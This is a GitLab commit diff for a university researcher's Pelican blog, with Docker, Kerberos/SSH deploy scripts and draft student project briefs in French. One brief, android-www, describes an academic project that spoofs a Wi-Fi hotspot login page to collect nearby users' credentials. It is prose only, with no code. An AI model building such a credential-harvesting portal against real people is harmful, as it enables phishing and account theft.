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.docker/build/kerberos/Dockerfile

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+22 −0

Original line number	Diff line number	Diff line
		FROM debian:stable
		ARG DEBIAN_FRONTEND=noninteractive

		RUN { \
		echo krb5-config krb5-config/default_realm string 'LOCAL.ISIMA.FR'; \
		echo tzdata tzdata/Areas string 'Etc'; \
		echo tzdata tzdata/Zones/Etc string 'UTC'; \
		} \| debconf-set-selections \
		&& \
		apt-get update && apt-get install -y --no-install-recommends \
		krb5-user \
		krb5-config \
		openssh-client \
		locales \
		rsync \
		&& \
		locale-gen fr_FR \
		locale-gen fr_FR.UTF-8 \
		update-locale LANG=fr_FR.UTF-8 \
		. /etc/default/locale

		WORKDIR /srv/blog
		No newline at end of file

.docker/build/python/Dockerfile

0 → 100644

+16 −0

Original line number	Diff line number	Diff line
		FROM debian:stable

		RUN apt-get update && apt-get install -y --no-install-recommends \
		python3 \
		python3-pip \
		locales \
		&& \
		locale-gen fr_FR \
		locale-gen fr_FR.UTF-8 \
		update-locale LANG=fr_FR.UTF-8 \
		. /etc/default/locale

		COPY requirements.txt .
		RUN pip install --break-system-packages --user -r requirements.txt

		WORKDIR /srv/blog
		No newline at end of file

.docker/scripts/kerberos/command.dev.sh

0 → 100755

+16 −0

Original line number	Diff line number	Diff line
		source .env
		SSH_CMD="ssh -o StrictHostKeyChecking=no -K ${KRB_USER}@${SERVER}"
		RSYNC_CMD=''
		kinit ${KRB_USER}
		${SSH_CMD} "mkdir -p ~/public_html/"
		${SSH_CMD} "echo 'Options +FollowSymLinks' > ~/public_html/.htaccess"
		${SSH_CMD} "echo 'RewriteEngine on' >> ~/public_html/.htaccess"
		${SSH_CMD} "echo 'RewriteCond %{HTTP_HOST} ^perso.isima.fr$' >> ~/public_html/.htaccess"
		${SSH_CMD} "echo 'RewriteRule (.*) https://perso.limos.fr%{REQUEST_URI} [R=301,L]' >> ~/public_html/.htaccess"
		${SSH_CMD} "mkdir -p ~/public_html/_"
		${SSH_CMD} "echo '<FilesMatch "\.phar">' > ~/public_html/_/.htaccess"
		${SSH_CMD} "echo ' php_flag engine off' >> ~/public_html/_/.htaccess"
		${SSH_CMD} "echo ' ForceType application/octet-stream' >> ~/public_html/_/.htaccess"
		${SSH_CMD} "echo ' Header set Content-Disposition attachment' >> ~/public_html/_/.htaccess"
		${SSH_CMD} "echo '</FilesMatch>' >> ~/public_html/_/.htaccess"
		rsync -az --exclude "_" -e "ssh -o StrictHostKeyChecking=no -K" ./output/ ${KRB_USER}@${SERVER}:~/public_html/
		No newline at end of file

.docker/scripts/node/command.dev.sh

0 → 100755

+2 −0

Original line number	Diff line number	Diff line
		cd /srv/blog/content/slides
		yarn
		No newline at end of file

.docker/scripts/python/command.dev.sh

0 → 100755

+7 −0

Original line number	Diff line number	Diff line
		git submodule init
		git submodule update --recursive --remote
		sed -i 's/\$port &/\$port/g' ./develop_server.sh
		chmod +x develop_server.sh
		export PATH=/root/.local/bin:$PATH
		export PY='/usr/bin/python3'
		./develop_server.sh start 8000
		No newline at end of file

.env

0 → 100644

+6 −0

Original line number	Diff line number	Diff line
		PORT=8001
		REGISTRY_URL=docker.isima.fr
		NAMESPACE=docker.isima.fr/vimazeno
		APP_NAME=pelican_perso
		KRB_USER=vimazeno
		SERVER=perso.local.isima.fr

.gitignore

0 → 100644

+9 −0

Original line number	Diff line number	Diff line
		__pycache__
		output
		pelican.pid
		*.pyc
		srv.pid
		blog_limos.egg-info
		node_modules
		.venv
		.vscode
		No newline at end of file

.gitlab-ci.yml

0 → 100644

+42 −0

Original line number	Diff line number	Diff line
		cache:
		paths:
		- output/ # le répertoire où se trouve le HTML statique généré

		.pre:
		image: node:latest
		stage: .pre
		script:
		- cd /srv/blog/content/slides && yarn

		build:
		image: docker.isima.fr/vimazeno/pelican_perso_python:35046e8
		stage: build
		script:
		- git submodule init
		- git submodule update --recursive --remote
		- PATH=/root/.local/bin:$PATH pelican

		deploy:
		image: docker.isima.fr/vimazeno/pelican_perso_kerberos:35046e8
		stage: deploy
		script:
		# récupération du KEYTAB en hexa
		- echo "$KEYTAB" > my.keytab.hex
		# conversion du KEYTAB en hexa en binaire
		- sed 's/$[0-9A-F]\{2\}$/\\\\\\x\1/gI' my.keytab.hex \| xargs printf > my.keytab
		# génération du ticket kerberos
		- kinit -k -t my.keytab vimazeno@LOCAL.ISIMA.FR
		# préparation du répertoire servi par apache
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "mkdir -p ~/public_html/"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo 'Options +FollowSymLinks' > ~/public_html/.htaccess"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo 'RewriteEngine on' >> ~/public_html/.htaccess"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo 'RewriteCond %{HTTP_HOST} ^perso.isima.fr$' >> ~/public_html/.htaccess"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo 'RewriteRule (.*) https://perso.limos.fr%{REQUEST_URI} [R=301,L]' >> ~/public_html/.htaccess"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "mkdir -p ~/public_html/_"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo '<FilesMatch "\.phar">' > ~/public_html/_/.htaccess"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo ' php_flag engine off' >> ~/public_html/_/.htaccess"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo ' ForceType application/octet-stream' >> ~/public_html/_/.htaccess"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo ' Header set Content-Disposition attachment' >> ~/public_html/_/.htaccess"
		- ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo '</FilesMatch>' >> ~/public_html/_/.htaccess"
		# rsync du HTML statique généré
		- rsync -az --exclude '_' -e "ssh -o StrictHostKeyChecking=no -K" output/ vimazeno@perso.local.isima.fr:~/public_html/
		No newline at end of file

.gitmodules

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+3 −0

Original line number	Diff line number	Diff line
		[submodule "plugins/math_render"]
		path = plugins/math_render
		url = https://github.com/barrysteyn/pelican_plugin-render_math.git

Makefile

0 → 100644

+82 −0

Original line number	Diff line number	Diff line
		BOLD := \033[1m
		RESET := \033[0m
		RED := \033[31m
		GREEN := \033[32m
		YELLOW := \033[33m
		BLUE := \033[34m
		MAGENTA := \033[35m

		SHELL := /bin/bash
		IMAGES := $(shell docker compose config --services)
		TAG := $(shell git rev-parse --short HEAD)
		VOLUMES := content/node_modules output

		# Executables (local)
		DOCKER_COMP := docker compose
		.DEFAULT_GOAL := help

		# Docker containers
		KERBEROS_CONT := $(DOCKER_COMP) run kerberos

		include .env

		build: ## Build required docker compose images
		@$(DOCKER_COMP) build
		.PHONY: build

		push: ## Push build docker compose images
		@TAG=$(shell git rev-parse --short HEAD)
		@docker login ${REGISTRY_URL}
		@docker push ${NAMESPACE}/${APP_NAME}_python:latest ;
		@docker tag ${NAMESPACE}/${APP_NAME}_python:latest ${NAMESPACE}/${APP_NAME}_python:${TAG} ;
		@docker push ${NAMESPACE}/${APP_NAME}_python:${TAG} ;
		@docker push ${NAMESPACE}/${APP_NAME}_kerberos:latest ;
		@docker tag ${NAMESPACE}/${APP_NAME}_kerberos:latest ${NAMESPACE}/${APP_NAME}_kerberos:${TAG} ;
		@docker push ${NAMESPACE}/${APP_NAME}_kerberos:${TAG} ;
		.PHONY: push

		up: ## Make required containers up
		@$(DOCKER_COMP) up --remove-orphans node
		@echo -e "⏰ ${BOLD}${GREEN}Wait for node to install needed js (there's no problem we're just wait)...${RESET}"
		@$(DOCKER_COMP) run dockerize -timeout 180s -wait-retry-interval 3s \
		-wait file:///tmp/content/node_modules/.yarn-integrity ;
		@echo -e "⏰ ${BOLD}${GREEN}Wait for pelican to generate content (there's no problem we're just wait)...${RESET}"
		@echo -e "${GREEN}${BOLD}up and running${RESET}"
		@echo -e " 🐳 blog in docker ${BLUE}${BOLD}http://localhost:${PORT}${RESET}"
		@$(DOCKER_COMP) up --remove-orphans python
		.PHONY: up

		down: ## Make required containers down
		@$(DOCKER_COMP) down
		.PHONY: down

		logs: ## Show live containers logs. Pass the parameter "c=" to see one specific container's logs, example: make logs c='frontend'
		@$(eval c ?=)
		@if [ -z "$(c)" ]; then \
		$(DOCKER_COMP) logs --follow; \
		else \
		$(DOCKER_COMP) logs --timestamps --follow $(c); \
		fi
		.PHONY: logs

		errors: ## Show live container errors.
		@$(DOCKER_COMP) logs \| grep error
		.PHONY: errors

		publish: ## Open bash on php container
		@$(KERBEROS_CONT) bash .docker/scripts/kerberos/command.dev.sh
		.PHONY: publish

		clean: ## Remove node and php folders and files
		@for volume in ${VOLUMES} ; do \
		sudo rm -rf $${volume} ; \
		done
		.PHONY: clean

		slides: ## Force slides refresh
		@sudo cp -R content/slides output/
		.PHONY: slides

		help:
		@grep -h -E '^[a-zA-Z_-]+:.?## .$$' $(MAKEFILE_LIST) \| awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
		.PHONY: help
		No newline at end of file

README.md

0 → 100644

+45 −0

Original line number	Diff line number	Diff line
		# Blog LIMOS de Vincent Mazenod

		```
		./bin/setup
		source bin/activate
		./bin/start
		```

		## Utilisation avec docker

		### Build image

		```
		docker build -t pelican_perso .
		```

		### run conatiner

		```
		docker run -it --rm -v $(pwd):/srv/pelican mjjacko/pelican pelican-quickstart -p my-site
		```

		## Utilisation avec venv

		### Lancer le serveur de prévisualisation

		```
		bash develop_server.sh start
		```

		* http://0.0.0.0:8000/

		### faire tourner les slides en local

		```
		./bin/local
		```

		* http://slides/slides/



		## see also

		* [https://limos.isima.fr/~mazenod/blog-et-pages-perso-au-limos.html](https://limos.isima.fr/~mazenod/blog-et-pages-perso-au-limos.html)

bin/activate

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+6 −0

Original line number	Diff line number	Diff line
		#!/usr/bin/env bash

		DIR="$( cd "$( dirname "${BASH_SOURCE[0]:-$0}" )/.." && pwd )"
		if [[ -z "$VIRTUAL_ENV" ]] \|\| [[ "$VIRTUAL_ENV" != "${DIR}/.venv" ]] ; then
		source "${DIR}/.venv/bin/activate"
		fi

bin/local

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+17 −0

Original line number	Diff line number	Diff line
		#!/usr/bin/env bash

		DIR="$( cd "$( dirname "${BASH_SOURCE[0]:-$0}" )/.." && pwd )"

		if [[ ! -f "/etc/apache2/sites-available/slides.conf" ]] ; then

		(
		echo "<VirtualHost *:80>"
		echo "DocumentRoot /var/www/html/blog/blog.limos.fr/content/"
		echo "ServerName slides"
		echo "</VirtualHost>"
		) \| sudo tee -a /etc/apache2/sites-available/slides.conf

		sudo a2ensite slides

		echo "127.0.0.1 slides" \| sudo tee -a /etc/hosts
		fi

bin/setup

0 → 100755

+15 −0

Original line number	Diff line number	Diff line
		#!/usr/bin/env bash

		DIR="$( cd "$( dirname "${BASH_SOURCE[0]:-$0}" )/.." && pwd )"

		if [[ ! -d "${DIR}/.venv" ]] ; then
		python3 -m venv "${DIR}/.venv"
		fi

		source "${DIR}/.venv/bin/activate"
		pip install -r requirements.txt

		git submodule init
		git submodule update --recursive --remote

		cd content && yarn install

bin/start

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+3 −0

Original line number	Diff line number	Diff line
		#!/usr/bin/env bash

		bash develop_server.sh start

bin/stop

0 → 100755

+3 −0

Original line number	Diff line number	Diff line
		#!/usr/bin/env bash

		bash develop_server.sh stop

content/Etudiants/android-www.md

0 → 100644

+40 −0

Original line number	Diff line number	Diff line
		Title: android-www
		Date: 2017-09-20 10:30
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, android
		Status: draft

		## Contexte

		L'idée première est de spoofer la page de login d'un Hotspot WIFI, c'est à dire de servir à partir d'un téléphone Android une page web imitant en tout point celle d'un hotspot wifi afin de collecter les identifiants des utilisateurs à proximité qui s'y connecteront.

		Ce projet consiste essentiellement à configurer un serveur web sur un téléphone android qui soit accessible à partir d'un périphérique à proximité.

		## Rendu attendu

		Vous devez rendre un dépot git avec au minimum

		* un code source implémentant les fonctionnalités demandées
		* un apk permettant de déployer le service
		* un fichier `README.md` documentant l'installtion et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [Android](https://fr.wikipedia.org/wiki/Android)

		## Points à considérer

		* la faisabilité d'un tel projet
		* les pré-requis
		* root
		* librairies
		* la sécurité
		* la facilité de déploiment de l'application
		* les possibilités d'interactions
		* possibilité de technologies server-side
		* bases de données ...

		## Liens

		* https://gbatemp.net/threads/android-app-for-self-hosting-exploit-5-5-1.425496/

content/Etudiants/ckeditor-gitlab.md

0 → 100644

+43 −0

Original line number	Diff line number	Diff line
		Title: CKEditor for gitlab
		Date: 2017-09-20 10:55
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, www, Tor
		Status: draft

		## Contexte

		[GitLab](https://about.gitlab.com/) est une forge logicielle.

		Cette forge présente notamment une interface web riche en fonctionnalités.

		Il est possible au niveau d'un dépôt d'éditer ou de créer un fichier texte, ou encore d'uploader un fichier PDF directement à partir de l'interface web.

		Chaque action donne lieu à un commit sur le dépôt.

		Ce projet vise à intégrer au mieux CKEditor à la forge [https://gitlab.isima.fr/](https://gitlab.isima.fr/) notamment dans le but d'éditer en [WYSIWYG](https://fr.wikipedia.org/wiki/What_you_see_is_what_you_get) la documentation utilisateur de l'ISIMA [doc.isima.fr](https://doc.isima.fr) qui utilise [http://www.mkdocs.org/](http://www.mkdocs.org/)

		Dans une première phase les possibilités d'implémenter une telle fonctionnalité seront toute étuidié

		Dans une seconde phase la fonctionnalité sera développé avec les technologies choisies dans la première phase?

		## Points à considérer

		* se documenter sur la mailleure façon d'implémenter les fonctionnalités
		* plugin gitlab?
		* plugin firefox / chrome?
		* service stand alone?
		* utilisation de la commande git?
		* utilisation de l'api gitlab?
		* app electron
		* sécurité

		## Technologies

		* [GitLab](https://about.gitlab.com/), [git](https://fr.wikipedia.org/wiki/Git), ???

		## Rendu attendu

		* Vous devez rendre un dépot git avec au minimum
		* un code source implémentant les fonctionnalités demandées
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

content/Etudiants/gbox.md

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+60 −0

Original line number	Diff line number	Diff line
		Title: G-Box
		Date: 2017-09-20 10:15
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, sécurité
		Status: draft
		## Contexte

		La G-box est un routeur avec des fonctionnalités de sécurité, elle permet notamment de filtrer les flux sortant à des fins de contrôle parental ou de filtre anti-phishing.

		Tout le trafic entre les ordinateurs du réseau local et internet doit passer par la G-box.

		la G-box a pour de but valider ou non le trafic.

		Elle utilise pour se faire 3 stratégies

		* les DNS ([OpenDNS Family Shield](https://www.opendns.com/home-internet-security/) pour le contrôle parentale par exemple)
		* l'inspection d'url
		* l'inspection de contenu

		La G-Box est un routeur domestique qui doit nécessiter le moins de configuration possible. Elle ne nécessite notamment aucune intervention sur les postes clients

		La configuration du filtrage doit pouvoir se faire de manière sécurisée au travers d'une interface web.

		Idéalement c'est un boîtier qui présente donc au moins 2 interfaces:

		* l'interface publique, que vous connecterez sur la box du FAI
		* la ou les interfaces privées, sur lesquelles viennent se connecter les appareils domestiques (PC fixe, laptop, tablette, téléhpone)

		Pour le prototype de la G-Box le [raspberry pi 3b](https://www.raspberrypi.org/products/raspberry-pi-3-model-b/) est pressentie.
		L'objectif de ce projet est d'arriver à une PoC (Proof Of Concept) permettant de valider l'implémentation des fonctions de filtrage.

		Un ou deux raspberry vous seront fournis pour vos tests.

		## Fonctionnalités à implémenter

		* gestion d'une liste de sites autorisés / interdits par périphériques
		* gestion de la liste de mots clés autorisés / interdits par périphériques
		* gestion du DNS par périphériques
		* système de notification lorsqu'une tentative d'outre passer une règle est détectée

		## Résultat attendu

		un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

		* une image de système déployable sur un raspberry pi
		* un script de provisioning permettant le déploiement des fonctionnalités implémentées
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [SSL](https://fr.wikipedia.org/wiki/SSL), [Raspberry Pi](https://www.raspberrypi.org/), [Raspbian](https://raspbian-france.fr/), [Réseau informatique](https://fr.wikipedia.org/wiki/R%C3%A9seau_informatique)

		## Points à considérer

		* la sécurité globale du système
		* accès physique
		* MAC spoofing
		* configuraiton manuelle des DNS sur les postes clients
		* gestion des connection SSL en mode filtrage par urls ou par mots clés

content/Etudiants/gitlab-issue.md

0 → 100644

+39 −0

Original line number	Diff line number	Diff line
		Title: gitlab-issue
		Date: 2017-09-20 10:25
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, www, git
		Status: draft

		## Contexte

		[GitLab](https://about.gitlab.com/) est une forge logicielle.

		La version [GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce) présente [une API REST](https://docs.gitlab.com/ee/api/README.html).

		Il s'agit ici d'implémenter un système de feedback [utilisant la partie de l'API consacrée à la gestion de tickets](https://docs.gitlab.com/ee/api/issues.html) sous forme d'un bundle [symfony](https://symfony.com/).

		le bundle devra

		* gérer l'authentification par utilisateur gitlab
		* gérer l'authentification avec une seule clé d'api permettant à des utilisateurs anonyme de déposer aussi une issue
		* gérer les issues par utilisateurs
		* s'intégrer intelligemment à une application symfony

		## Résultat attendu

		un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

		* le code source implémentant les fonctionnalités demandées
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [Symfony](https://symfony.com/), [Vagrant](https://www.vagrantup.com/), [GitLab](https://about.gitlab.com/)

		## Points à considérer

		* la qualité du code notamment en suivant les bests practices symfony
		* la sécurité
		* la facilité de déploiment dans une application
		* l'intégration du bundle dans une application symfony

content/Etudiants/isima-tor.md

0 → 100644

+37 −0

Original line number	Diff line number	Diff line
		Title: ISIMA Tor
		Date: 2017-09-20 10:50
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, www, Tor
		Status: draft

		## Contexte

		le site https://isima.fr souhaite être présent sur le réseau Tor.

		Une première phase consistera en la mise en place d'un site web afin qu'il soit visible sur le réseau Tor, dans un environnement que vous maquetterez.

		Dans une seconde phase la mise en ligne sera maquettée dans un environnement [ispconfig](https://www.ispconfig.org/)

		Le maquettage pourra être réalisé avec [Vagrant](https://www.vagrantup.com/) et le provisioning avec [ansible](https://www.ansible.com/)

		## Résultat attendu

		un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

		* le code source implémentant les fonctionnalités demandées
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [Vagrant](https://www.vagrantup.com/), [ansible](https://www.ansible.com/)

		## Points à considérer

		* sécurité
		* reproductibilité et industrialisation
		* compréhesion des protocoles utilisés

		## Liens

		* http://www.bortzmeyer.org/blog-tor-onion.html

content/Etudiants/ispcli-en.md.example

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+51 −0

Original line number	Diff line number	Diff line
		Title: ispcli
		slug: ispcli
		lang: en
		save_as: ispcli-en.html
		url: ispcli-en.html
		Date: 2017-09-20 10:20
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, www

		## Contexte

		[ISPConfig](https://www.ispconfig.org/) est un outil de gestion de serveur (web, mail, dns) via une interface web.

		[une API SOAP](http://docs.ispconfig.org/development/remote-api/) est disponible depuis la version 3.

		Ce projet vise à implémenter un client d'api en ligne de commande.

		A titre d'exemple [python-gitlab](http://python-gitlab.readthedocs.io/en/stable/cli.html) est un client d'API pour gitlab.

		Les commandes à implémenter concernent toutes les actions de

		* configuration du serveur
		* gestion des clients
		* gestion des hotes web
		* gestion des utilisateurs ssh
		* gestion des bases de données
		* gestion des utilisateurs bases de données
		* gestion des entréees DNS
		* gestion des comptes mail

		Seule la partie gestion de la virtualisation pourra être mise de côté.

		## Résultat attendu

		un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

		* le code source implémentant les fonctionnalités demandées
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [SOAP](https://fr.wikipedia.org/wiki/SOAP), [ISPConfig](https://www.ispconfig.org/)

		## Points à considérer

		* l'ergonomie
		* facilité de configuration
		* simplicité d'utilisation
		* commandes intuitives
		* possibilité de batcher certaines opérations

content/Etudiants/ispcli.md

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+50 −0

Original line number	Diff line number	Diff line
		Title: ispcli
		slug: ispcli
		lang: fr
		Date: 2017-09-20 10:20
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, www
		Status: draft

		## Contexte

		[ISPConfig](https://www.ispconfig.org/) est un outil de gestion de serveur (web, mail, dns) via une interface web.

		[une API SOAP](http://docs.ispconfig.org/development/remote-api/) est disponible depuis la version 3.

		Ce projet vise à implémenter un client d'api en ligne de commande.

		A titre d'exemple [python-gitlab](http://python-gitlab.readthedocs.io/en/stable/cli.html) est un client d'API pour gitlab.

		Les commandes à implémenter concernent toutes les actions de

		* configuration du serveur
		* gestion des clients
		* gestion des hotes web
		* gestion des utilisateurs ssh
		* gestion des bases de données
		* gestion des utilisateurs bases de données
		* gestion des entréees DNS
		* gestion des comptes mail

		Seule la partie gestion de la virtualisation pourra être mise de côté.

		## Résultat attendu

		un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

		* le code source implémentant les fonctionnalités demandées
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [SOAP](https://fr.wikipedia.org/wiki/SOAP), [ISPConfig](https://www.ispconfig.org/)

		## Points à considérer

		* l'ergonomie
		* facilité de configuration
		* simplicité d'utilisation
		* commandes intuitives
		* possibilité de batcher certaines opérations

content/Etudiants/mindmaping_markdown.md

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+57 −0

Original line number	Diff line number	Diff line
		Title: Mindmaping et markdown
		Date: 2017-09-20 10:10
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, www
		Status: draft


		## Contexte

		Le [Mindmaping](http://www.mindmapping.com/fr/) ou carte mentale est une méthode créative et logique pour prendre des notes et consigner des idées, qui consiste littéralement à "cartographier" votre réflexion sur un thème.

		Il existe de nombreux programmes et services permettant de réaliser des cartes mentales:

		Ce projet vise à réaliser un service en ligne permettant de réaliser des cartes mentale grâce au langage markdown.

		L'extension [markdown-mindmap](https://atom.io/packages/markdown-mindmap) pour l'éditeur [atom](https://atom.io/) est une implémentation approchant le résulat attendu.

		![markdown-mindmap](https://i.github-camo.com/a1d969d7ee4c9bd6145f8abf35d99de1544276d4/68747470733a2f2f6769746875622e636f6d2f64756e64616c656b2f61746f6d2d6d61726b646f776e2d6d696e646d61702f626c6f622f6d61737465722f73637265656e73686f742e6769663f7261773d74727565)


		Le composant javascript [markmap](https://github.com/dundalek/markmap) peut être une brique logicielle intéressante.

		N.B. Ce composant ne permet pas de créer des branches de part et d'autres du sujet principal, et cette possibilité est à discuter.

		Afin d'être utilisable la solution devra intégrer

		* le partage des cartes mentales
		* afficher le contenu texte (en dessous du titre) au survol de la survie
		* possibilité d'affecter une url (cliquable) à un noeud
		* valider l'ergonomie et l'affichage sur ordinateurs, tablettes et téléphone
		* une gestion d'utilisateur avec inscription et récupération de mot de passe [optionnel]


		## Résultat attendu

		un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

		* le code source implémentant les fonctionnalités demandées
		* un fichier ```Vagrantfile``` permettant de tester l'application via ```vagrant up```
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [JS](https://fr.wikipedia.org/wiki/JavaScript), [Vagrant](https://www.vagrantup.com/), la technologie server-side et le SGBD sont à choisir.

		## Points à considérer

		* Choix des technologies
		* ergonomie utilisateur

		### Liens

		* [FreeMind](https://fr.wikipedia.org/wiki/FreeMind)
		* [framindmap.org](https://framindmap.org/mindmaps/index.html)
		* [https://monod.lelab.tailordev.fr/](https://monod.lelab.tailordev.fr/) peut servir d'exemple pour l'ergonomie et le système de partage de document
		* présente notamment des idées pour l'ergonomie et le système de partage

content/Etudiants/rss2epub.md

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+43 −0

Original line number	Diff line number	Diff line
		Title: RSS2Epub
		Date: 2017-09-20 10:40
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, www
		Status: draft

		## Contexte

		RSS2Epub est un service qui permet de convertir une page web au format epub afin d'en optimiser l'affichage sur une liseuse numérique.

		Dans sa version finale RSS2Epub proposera

		* une gestion d'utilisateur
		* la possibilité à chacun de gérer ses propres flux rss.

		## Rendu attendu

		Vous devez rendre un dépot git avec au minimum

		* un code source implémentant les fonctionnalités demandées
		* un fichier ```Vagrantfile``` permettant de tester l'application via ```vagrant up```
		* un fichier ```deploy.php``` permettant de déployer l'application
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Points à considérer

		* nettoyage de toutes les parties
		* publicitaires
		* navigation
		* commentaires

		* provisioning
		* le service doit être déployable simplement sur un virtual host

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [MySQL](https://www.mysql.com/fr/), [Symfony](https://symfony.com/), [Deployer](https://deployer.org/), [Vagrant](https://www.vagrantup.com/)

		## Liens

		* https://fr.kobo.com/help/fr-FR/article/938/utiliser-l-application-pocket-sur-votre-tablette-kobo
		* https://pandoc.org/

content/Etudiants/security-dashboard.md

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+53 −0

Original line number	Diff line number	Diff line
		Title: Security Dashboard
		Date: 2017-09-20 10:00
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: Projets tutorés, sécurité
		Status: draft

		## Contexte

		Ce projet vise à réaliser un tableau de bord permettant d'évaluer simplement l'état de la sécurité d'un ensemble de sites ou services web hétérogènes.

		Ce tableau de bord prend en entrée une simple liste d'urls, l'idée est d'automatiser au maximum l'audit sécurité de chaque url.

		Chaque url de la liste est inspectée à intervalles réguliers afin de déterminer les technologies qu'elle utilise et leur version respective - à la manière du service [Wappalyzer](https://wappalyzer.com/).

		Pour chaque technologie:

		* [(CVE) Common Vulnerabilities and Exposures](https://fr.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures) sera interrogé afin de déterminer si la version de chaque technologie utilisée par l'url présente une vulnérabilité connue

		* la dernière version de chaque technologie sera déterminée (à partir du site ou du dépôt officielle)

		Le tableau de bord présentera une rapport clair et priorisé (par indice de criticité) des technologies à mettre à jour par url

		* l'inspection automatique des technologies pourra être complétée / corrigée manuellement

		* un système d'alerte mail à partir d'un degré d'un niveau de criticicté paramétrable sera également mis en place

		## Résultat attendu

		un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

		* le code source implémentant les fonctionnalités demandées
		* un fichier ```Vagrantfile``` permettant de tester l'application via ```vagrant up```
		* un fichier ```deploy.php``` permettant de déployer l'application
		* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
		* un rapport détaillé du travail réalisé

		## Technologies

		* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [MySQL](https://www.mysql.com/fr/), [Symfony](https://symfony.com/), [Deployer](https://deployer.org/), [Vagrant](https://www.vagrantup.com/), API, [webscraping](https://fr.wikipedia.org/wiki/Web_scraping)

		## Points à considérer

		* la facilité de déploiement

		* l'ergonomie
		* facilité de configuration
		* simplicité d'utilisation

		## Liens

		* https://github.com/AliasIO/Wappalyzer
		* https://github.com/cve-search/cve-search
		* https://stackoverflow.com/questions/14866528/how-can-i-grab-the-latest-stable-repo-version-from-the-github-api

content/Etudiants/zz2-f5-privacy-crypto.md

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Original line number	Diff line number	Diff line
		Title: <strike>ZZ2 F5 - Privacy & Crypto</strike>
		Date: 2019-11-16 10:55
		Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> Étudiants
		Tags: cours

		<div class="panel panel-warning">
		<div class="panel-heading">
		<h3 class="panel-title">FYI</h3>
		</div>
		<div class="panel-body">
		<h1>Je ne donne actuellement plus ce cours!</h1>
		<h2>Les supports sont là pour archive</h2>
		</div>
		</div>

		[TOC]

		## Plan du cours

		### Privacy

		* [je n'ai rien à cacher](/slides/privacy/jnarac.html)
		* [mots de passes](/slides/privacy/passwords.html)
		* [vault](/slides/privacy/vault.html)
		* [tracking](/slides/privacy/tracking.html)
		* [souveraineté](/slides/privacy/sovereignty.html)

		### Crypto

		* [principes cryptographiques](/slides/privacy/crypto.html)
		* [tls](/slides/privacy/tls.html)
